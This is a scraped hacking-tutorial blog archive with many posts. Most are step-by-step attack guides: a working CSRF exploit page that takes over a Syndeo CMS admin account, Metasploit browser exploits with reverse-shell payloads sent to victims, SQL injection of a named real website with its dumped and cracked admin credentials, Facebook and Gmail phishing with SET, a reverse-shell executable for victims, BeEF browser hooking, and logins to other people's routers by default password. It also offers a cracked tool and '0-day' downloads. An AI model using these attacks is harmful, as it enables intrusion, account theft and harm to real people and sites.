TipsS And TricksS: Ethical Hacking

Showing posts with label Ethical Hacking. Show all posts

Syndeo CMS Admin Password Change through CSRF

Posted by Anonymous at 7:21:00 am on Thursday, 5 December 2013

# Exploit Title: Syndeo CMS Admin Password Change through CSRF
# Google Dork: none
# Date: 5/12/2013
# Exploit Author: Aditya Joshi
# Vendor Homepage: http://www.syndeocms.org/
# Software Link: http://sourceforge.net/projects/syndeocms/files/1.%20SyndeoCMS/
# Version: 3.0.0
# Tested on: Windows 7

Discription ...
In Syndeo CMS an attacker can easily change admin name, password, email through CSRF vulnerability.
The vulnerability exists in http://localhost/cms/starnet/index.php?option=configuration&save=personal , where admin name , password change text fields are without any token.

Exploiting the BUG ...
Create a html page and paste following html code in it ...

exploit.html

<html>
<body onload="form1.submit();">
<form method="POST" name="form1" action="http://localhost/cms/starnet/index.php?option=configuration&save=personal">
<input class="textfield" type="text" value="hacker" size="40" name="fullname" tabindex="1"></input>
<input class="textfield" type="text" value="hacker@email.com" size="40" name="email" tabindex="2"></input>
<input class="textfield" type="text" value="admin" size="20" name="username" tabindex="3"></input>
<input class="textfield" type="password" value="hacker" size="20" name="password" tabindex="4"></input>
</form>
</body>
</html>

and upload malicious page to any free webhosting website..
Now send link of mailicous html page through Social Engenerring to the admin of the vulnerable syndeo web app

Greets ---> Aditya Dixit, Deejay alone , Indian Web King....

[Download]0-Day exploits collection

Posted by Anonymous at 4:53:00 pm on Tuesday, 30 April 2013

Hello puntos I wish you liked my last post on hacking wordpress blog without hash cracking. So I am back with another post.
This post is not about any hack or trick. Today I am sharing some private 0-day exploits with you.

I have created a rar archive with 10 0-Day exploits. I am providing link to download exploits.

Download from here...

Download From Mediafire

[Video]Hacking a win 7 using SET

Posted by Anonymous at 5:10:00 pm on Thursday, 24 January 2013

Many of my friends were asking for the ways to hack a computer. After all the requests I made a video for all my friends and other cyber users.

What this video is about--->

In this video i will show you how to hack windows 7 using browser autopawn exploit of internet explorer.
This method works in all windows.

Things you will need ---->

1. Backtrack OS.

2. Victim. (use virtual machines)

3. Brain

So here is the video given below.
Watch it and do exactly what i do in video.
Comment, Share ,Like

Hacking windows 7 using metasploit

Posted by Anonymous at 6:19:00 pm on Sunday, 20 January 2013

Hey friends this D@rk TruTH. Today i am gonna show how to exploit windows xp and 7 using metasploit. Lets Start...

Things you will need ---->

1. Backtrack OS or Metsaploit.

2. A victim

3. Brain(important thing lol)

Lets start the shit ---->

1. Open terminal, type msfconsole and hit enter. Metsaploit will open like in image.

2. Now type use exploit/multi/browser/java_signed_applet and hit enter.

3. Type set payload windows/meterpreter/reverse_tcp and hit enter.

4. Type set lhost 223.185.18.74 (must change 223.185.18.74 with your ip address)

5. Now type set lport 443 and hit enter.

6. Now type set srvport 80 and hit enter.

7. Now type set uripath cybersucks and hit enter.(you may change cybersucks to your disired one)

8. At last type exploit and hit enter. See image below

9. Now send http://youripaddress:80/cybersucks to your victim.

10. Now when victim will open it he/she will be hacked.

11. Now see hacked sessions by typing sessions -l

WAppEx the Web Aplication exploiter....

Posted by Anonymous at 8:43:00 pm on Wednesday, 9 January 2013

WAppEx is an integrated platform for performing penetration testing and exploiting of web applications on Windows or Linux. It can automatically check for all type of security vulnerabilities in the given target and then let you to run various payloads to exploit and take advantages of the vulnerability.

WAppEx is a multi platform application and it is executable in Linux and Windows.

WAppEx's database which includes hundreds of exploits provides an automated, comprehensive and reliable exploit for penetration testers and security professionals worldwide.

Regular database update is available. Top priorities are high-risk and zero-day vulnerabilities.

Payloads for using in exploits are reliable payloads which contains connect-back, listener shell, arbitrary code execution, arbitrary file upload,...

WAppEx's script based engin let experienced users write their own scripts and payloads to test and exploit any vulnerability in web applications.

Software and vulnerability updates are available at any time and a daily support is available via phone or email.

WAppEx can exploit the following web application vulnerabilities:

SQL Injection:

The most dangerous vulnerability in web applications. WAppEx uses Havij - Advanced SQL Injection Tool engine to find and exploit this vulnerability.

Remote File Inclusion:

It allows an attacker to include a remote file. WAppEx can check for this vulnerability and run various payloads to execute commands on web server.

Local File Inclusion:

It allows an attacker to include a local file. Just like RFI WAppEx tests and exploits this vulnerability.

OS Commanding:

It let the attacker to execute OS commands on server. WAppEx tests and exploits this vulnerability to execute custom commands to get a reverse shell.

Script injection:

It can be used by an attacker to introduce (or "inject") script into a web application. WAppEx automatically tests and exploit this vulnerability to escalate access to web server and get a reverse shell.

Local File Disclosure:

as the name says it disclosure content of local files on the web server. WAppEx can exploit this vulnerability to read sensitive files on the server.

WAppEx

Download

Hacking a website using SQL injection:Full method with Pics

Posted by Anonymous at 4:59:00 pm on Saturday, 5 January 2013

Today i am gonna show you how to hack a website using sql injection.To find SQL vulnerable sites refer to this post.

Now Lets start---->

Things you will need -->

1. Havij SQL injection Tool, download it from here(Run as Administrator)

2. A sql vunerable site, I am taking this site http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2 as an example.

3. A very important thing i.e mind.

Checking for sql vulnerability --->

Here i am taking http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2 as an example.

Now to check is this site vulnerable to sql, I will simply add ' after the site url

like this http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2'

and i get this error on the site

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

It means that site is vulnerable to sql injection.

Exploiting the vulnerable site --->

1. Open Havij and paste site url in target field and hit enter

2. Now wait for Havij to get all the databases of the website.

3. Now click on available databse of site and click on Get Tables like i am gonna select 535480_toyonorte of my site like in image.

4. By clicking Get Tables Havij will look after the tables available in the database.

5. Now after the scanning Havij will get all tables, now the main work start , you have to check it there table available named as admin, users and something similar to these words like i get usuario in my website and select it and click on Get Columns. Like in pic given below.

6. Now after clicking Get Columns havij will get all the columns available in users table.

7. In my case i found diffrent columns like id, login, pass an many more.

8. Now select the columns and click on Get Data like in pic given below.

9. Now havij will look after the data available in columns login and password i.e admin username and passowrd like i get

username --> adminpassword--> 21232f297a57a5a743894a0e4a801fc3 (in encrypted form)

Like in image below

10. Now after i get username and password there is a problem that passowrd i s encrypted in mdm language , so we have to crack it .

11. To crack encrypted password just copy password click on MD5 tab in havij and paste the encrypted password in MD5 hash field and hit start.Now havij will try to crack the password. Like i cracked in image given below.

12. Now i get Password cracked as admin.

13. Now we will check for admin panel where we gonna login with username and passoword.

14. To find admin panel click Find Admin tab in Havij and click start. Now havij will check the admin panel of website.

In my case i found http://toyonorte.com.co/admin/ as admin panel, now open it in a web browser and login with username and password and now you are in admin panel.

Notes--->

1. Website hacking is illegal

2. Use proxy, tor, vpn for your security.

3. This is for only educational purpose.

Whats next-->

In next post i am gonna show you how to upload shell through admin panel in a website.

So keep updated and visit site daily and also refer your friend...

Havij 1.16 pro Cracked and Portable

Posted by Anonymous at 7:48:00 pm on Monday, 31 December 2012

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.

The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.

The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.

How to run Havij--->

While running make sure u run it as administrtative, if u not do that this will give the error.

Download link--->

Download Here

TUT: Best Configurations For Pcsx2 on Windows

Posted by Anonymous at 6:21:00 pm on Tuesday, 2 October 2012

Hlo friends , sorry for posting very late , i was busy in my exams. But after my exam completetion i am back on my blog . Today i am gonna post an article on Pcsx2 . As we all know that Pcsx2 is a Sony Playstation 2 emulator.
As we all know that all ps2 games are full of HD graphics which may get slow down on default Pcsx2 configuration . So i have brought you all the configuations for running all ps2 games in pcsx2 in 50-70fps speed.
Things u will need:----->
1. Pcsx2 0.9.8 or any version download from here.
2. A medium Graphic computer.

Just follow all the steps:--------->
1. Load BIOS and ISO file of your game.

2. Now click on Config > Emulation Settings like in given picture.

3. Now Click on EE/IOP just keep settings as i kept in this picture given above.

4. Now click on VUs and keep the settings shown in the image.
5. In GS and GS Window option keep the default configurations.

6. Now Click on Speedhacks tab and keep the settings as shown in the image shown above , this is the main part of configurations.
7. No need to change configuration of Game Fixes tab and click apply and ok.

After doing all these configurations u will get speed of 50-60 fps , if in gameplay game lags then press Tab button to apply the turbo mode to game.
Plz comment.

Hacking a Web-browser with beef

Posted by Anonymous at 5:18:00 pm on Tuesday, 15 May 2012

Browser Explotation Framework is mainly used to exploit a Web-browser.When i was trying it I play a varied types of pranks with victim browser like making open a pop-up window,playing a sound,stealing cookie etc. So lets start hacking.
Follow all the steps according to my post ======>

1. First install beef by clicking on Applications->Backtrack–>Exploitation Tools->Social Engineering Tools->BEEF XSS Framework->BeEF Installer.

2. Now when beef installs open beef by going to same directory like in 1st step then click on beef and beef will start connecting.

3. Now copy the open the url written in front of hook url like in image.

4. After opening the link u will see a login page just put username beef and password beef to login.

5. Now a window will open showing you beef control pannel,now the main explotation will start.

6. Now send this link http://127.0.0.1:3000/demos/basic.html to victim.

7. Once victim will open you will be contected to his computer through his browser and you will see connected browsers at top left bottom under the Online browser tab like in image.

8. Click on any online browser in online browser tab and you will get a page with a full information of browser.

9. Then click on Commands tab to start open various exploits and tools.

10. Now use any of commands to making pranks with the victim.

Note;---> its for educational purpose only.
While doing all this dont close the terminal that will open as opening of beef.

Mega Tutorial : Hacking a remote windows 7 using metasploit

Posted by Anonymous at 6:03:00 pm on Friday, 11 May 2012

Hey friends I am back with a blasting post on hacking windows.So, I will give you a little introduction about this post. In this post i am gonna hack or control a remote windows 7,xp using metasploit.So let we start hacking.
Follow all steps according to this post ======>
1. Open metasploit in windows or in backtrack.

2. After opening this just type this code use exploit/windows/browser/ms11_050_mshtml_cobjectelement.

3. Now type set payload windows/meterpreter/reverse_tcp

4. Now type set lhost 192.168.1.2 in place of 192.168.1.2 type your ip address.

5. Now type set srvhost 192.168.1.2 in place of 192.168.1.2 type your ip address.

6. Now type set uripath adityahackingarticles.

7. Now type exploit.

9. Now a server will be created on ur ip and send the link http://uripaddress/adityahackingarticles send this link to your victim.

10. Now when your victim open ur link he will be hacked and then type sessions -l to start exploiting the victim.

Note : For only Education

Installing DAMN Vulnerable app on backtrack

Posted by Anonymous at 6:14:00 pm on Monday, 7 May 2012

Every one has heard about the DAMN Vulnerable web app. Today i gona tell you about installing it on backtrack. As you all know DAMN vul. app requires xammp,mysql and other softwares but these softwares are pre installed in backtrack.So, do all the steps according to this post:----->

1. Open any text editor .

2. After opening this just paste this code in it =====>

#/bin/bashecho -e "\n#######################################"echo -e "# Damn Vulnerable Web App Installer Script #"echo -e "#######################################"echo " Coded By: Travis Phillips"echo " Website: http://theunl33t.blogspot.com"echo -e -n "\n[*] Changing directory to /var/www..."cd /var/www > /dev/nullecho -e "Done!\n"

echo -n "[*] Removing default index.html..."rm index.html > /dev/nullecho -e "Done!\n"

echo -n "[*] Changing to Temp Directory..."cd /tmpecho -e "Done!\n"

echo "[*] Downloading DVWA..."wget http://voxel.dl.sourceforge.net/project/dvwa/DVWA-1.0.7.zipecho -e "Done!\n"

echo -n "[*] Unzipping DVWA..."unzip DVWA-1.0.7.zip > /dev/nullecho -e "Done!\n"

echo -n "[*] Deleting the zip file..."rm DVWA-1.0.7.zip > /dev/nullecho -e "Done!\n"

echo -n "[*] Copying dvwa to root of Web Directory..."cp -R dvwa/* /var/www > /dev/nullecho -e "Done!\n"

echo -n "[*] Clearing Temp Directory..."rm -R dvwa > /dev/nullecho -e "Done!\n"

echo -n "[*] Enabling Remote include in php.ini..."cp /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini1sed -e 's/allow_url_include = Off/allow_url_include = On/' /etc/php5/apache2/php.ini1 > /etc/php5/apache2/php.inirm /etc/php5/apache2/php.ini1echo -e "Done!\n"

echo -n "[*] Enabling write permissions to /var/www/hackable/upload..."chmod 777 /var/www/hackable/uploads/echo -e "Done!\n"

echo -n "[*] Starting Web Service..."service apache2 start &> /dev/nullecho -e "Done!\n"

echo -n "[*] Starting MySQL..."service mysql start &> /dev/nullecho -e "Done!\n"

echo -n "[*] Updating Config File..."cp /var/www/config/config.inc.php /var/www/config/config.inc.php1sed -e 's/'\'\''/'\''toor'\''/' /var/www/config/config.inc.php1 > /var/www/config/config.inc.phprm /var/www/config/config.inc.php1echo -e "Done!\n"

echo -n "[*] Updating Database..."wget --post-data "create_db=Create / Reset Database" http://127.0.0.1/setup.php &> /dev/nullmysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/gordonb.jpg" where user = "gordonb";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/smithy.jpg" where user = "smithy";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/admin.jpg" where user = "admin";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/pablo.jpg" where user = "pablo";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/1337.jpg" where user = "1337";'echo -e "Done!\n"

echo -e -n "[*] Starting Firefox to DVWA\nUserName: admin\nPassword: password"firefox http://127.0.0.1/login.php &> /dev/null &echo -e "\nDone!\n"echo -e "[\033[1;32m*\033[1;37m] DVWA Install Finished!\n"

3. Now save it cybersucks.sh and in root folder.
4. After doing this open terminal amd type this code sh cybersucks.sh and it will start installing DAMN.

Fern Wifi Cracker a GUI Wifi Cracker

Posted by Anonymous at 8:51:00 pm on Saturday, 5 May 2012

Hey friends all of you know about the restrictions on Wifi that is password. In schools and colleges Wifi are protected through password but i have a good hack to crack a Wifi simply in two click. This software is only for linux. Just follow all the steps according to this post:------------------->
1. First download fern wifi cracker from here.
2. Now after downloading put the debian pack to file system.

3. After doing that open terminal and type this code dpkg -i Fern-Wifi-Cracker_1.2_all.deb.

4. Now open fern Wifi cracker from tab others and open this like in image.

5. Now click on Refresh and select an interface and the use any of two options given according to wifi encryption and select and then crack the wifi.

Note-----:> Its for only educational purpose.

Hacking a Computer using fastrack and backtrack

Posted by Anonymous at 5:43:00 am on Friday, 4 May 2012

Hey friends i found a latest hack or way to hack into a computer which has a windows operating system.
Ok then lets start.Here are some requirments:-------->
1. Backtrack
2. Ip address of victim.
3. Brain.
Now follow all the steps according to this post:--------------->
1. Open Fastrack by clicking on Applications-->Backtrack-->Exploitation tools-->Network exploitation tools-->Fast-Track-->fasttrack-interactive.

2. Now after opening fastrack select the option Payload generator by typing 8 and hitting enter.

3. Now after that type 1 to select Windows Shell Reverse_TCP and hit enter.

4. Now after that type 2 to select shikata_ga_nai and hit enter.

5. Now after that enter the ip address of victim and hit enter.
6. Now you have to scan ip address to get open ports refer to this article.

7. If you get any open ports then enter it like in image.
8. After that type 3 to select Executable and hit enter, this option will create a executable file in directory filesystem-->pentest>exploit-->fasttrack-->payload.exe.
9. Now the send executable file to victim and when the victim open this file you will be connected to computer remotely.

Note :--- Its for educational purpose

Hacking For Beginner : A free Ethical Hacking E-Book

Posted by Anonymous at 6:33:00 pm on Tuesday, 1 May 2012

Hey Friends i am back with a latest post on ethical hacking. I have an ethical hacking ebook for you. Here are the some details of ebook:------>
Language----> English
Pages--------> 84
Size---------> 11mb

Download here :====>
get here

Scanning for open ports of an ip address in backtrack 5 r2

Posted by Anonymous at 9:45:00 am on Friday, 13 April 2012

Today I am gonna tell you how to scan for open ports of an ip address in backtrack 5 r2. Follow all the steps according to post:------------------->
1. First you have to find ip address of a website, to do this open terminal and type ping www.sitename.com and hit entre and here you will find the ip address.
2. Now you have the ip address and now you have to scan for ports.

Open terminal and type nmap and press entre and now type nmap -v -A ip address and hit enter in place of ip address type the ip address of website and hit enter. Now it will starts scanning the ports and it will tell you how many ports are open, like in image.

How to hack facebook gmail accounts using Backtrack 5

Posted by Anonymous at 7:48:00 pm on Wednesday, 4 April 2012

Hello, friends i am back with a latest post on hacking facebook,gmail accounts using backtrack and social engineering kit.Things you needed are following:--->
1. Backtrack 5 R2
2. Internet connection
3. A brain
Now follow all my steps like i am showing in this post:----->

1. First open the social engineering kit using this command in cd /pentest/exploits/set and then press enter and then type ./set and hit enter like in image.

2. Now type 1 to select Social-Engineering Attacks and hit enter as in image.

3. Now type 2 to select Website Attack Vectors and hit enter as in image.

4. Now type 4 to select Tabnabbing Attack Method and hit enter.

5. Now type 2 to select Site Cloner and hit enter.

6. Now enter the site address whom which you want to create fake pages.

7. Now ti will start cloning the site.
8. Now send ur ip address as a link to victim.

9. Now when victim click on it he/she get the fake page and when he fill the details he will got hacked.
Note : its for educational purpose.

How to hack joomla blogs in backtrack 5

Posted by Anonymous at 9:35:00 pm on Tuesday, 3 April 2012

Here i am back with a new working hack to scan and exploit a joomla blog. Things you needed are following :--->
1.backtrack 5
2.Internet connection
3.And the most important a litte brain.
Here are following steps, please follow all the steps according to this post:------>
1. Click on Applications/Backtrack/Vulnerability assesment/Web Vulnerability assessment/CMS Vulnerability Identification/joomscan.

2.Now Joomla scanner console will open like in image.

3.Now console will open now type chmod 0777 joomscan.pl and hit enter.

4.Now type ./joomscan.pl -u www.YourJoomlasite.com in this in place of YourJoomalasite.com type your desired joomala site and hit enter it will start scanning it .

Backtrack a new era of hacking

Posted by Anonymous at 3:35:00 pm

As we watch many movies in which hackers just type a code and any computer get hacked,for many peoples this is like a fake thing in real it happens.Backtrack is that operating system which based on Ubuntu linux operating system which contains many hacking tools and softwares pre installed.This OS contains various softwares like social engennering kit,metasploit,nmap wifi hacking tool etc.

Download backtrack from Here.

Hack Your Broadband (No Risk)

Posted by Anonymous at 5:51:00 am on Monday, 2 January 2012

Step 1: Download any port Scanner (i preffer Super Scan or IPscanner)

Step 2: First Get your ip from
CODE www.whatismyip.com
Asume your IP to be 59.x.x.17

Step 3: copy your ip in IPscanner Software and scan for alive IPs in the below range
start:59.x.x.1 to End:59.x.x.255

Step 4: Then check in your scanner which alive IPs has the port 80 open

Step 5: Enter that alive IP in your web browser

Step 6: It asks for user , pass
Type u
User=admin
Password=admin or password
It is the default password for most of the routers.

if denied then use on another alive IP

Step 7: If success then it will show router settings page of tht IP user
There goto Home -> Wan Setting and the username and password of his account will appear there.

Step 8: use ShowPassword or Revelation software to view the password in asterisks

Now You have Username/Password
Enjoy!

What this video is about--->

Things you will need ---->

Things you will need ---->

Lets start the shit ---->

Now Lets start---->

Things you will need -->

Checking for sql vulnerability --->

Exploiting the vulnerable site --->

Notes--->

Whats next-->

How to run Havij--->

Download link--->

Donate Us

Qadbara

Qadbara 2

Cpm Add

Labels

Follow us on FaceBook

Page Counter

About

Popular Posts